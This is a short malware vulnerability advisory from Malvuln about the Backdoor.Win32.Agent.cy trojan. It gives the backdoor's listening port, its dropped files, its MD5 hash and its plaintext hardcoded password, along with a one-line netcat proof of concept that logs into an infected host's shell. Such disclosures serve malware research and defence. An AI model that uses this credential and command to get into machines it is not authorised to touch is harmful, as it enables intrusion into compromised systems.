Tuesday, May 18, 2021

Backdoor.Win32.Agent.cy Hardcoded Credentials

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e85a1028a52fcc723353a236ada54fee.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cy
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 1111, drops an executable named "Spoolsw.exe" under SysWOW64 dir that runs with SYSTEM integrity. The password "TrFsB-RuleZ" is stored in plaintext and can be easily found running strings util against the malware executable.
Type: PE32
MD5: e85a1028a52fcc723353a236ada54fee
Vuln ID: MVID-2021-0207
Dropped files: Spoolsw.exe, namafileyangditerima.txt, namafileyangdikirim.txt
Disclosure: 05/14/2021

Exploit/PoC:
nc64.exe MALWARE_INFECTED_HOST 1111
TrFsB-RuleZ

OK, PASSWORT aktzeptiert , Tritt ein , bring Gl
"OK, PASSWORD accepted, come in, bring Eq"

We also find:
"= Wunder Portal =
= Right to Copy 2004 bY Nice Guy ="


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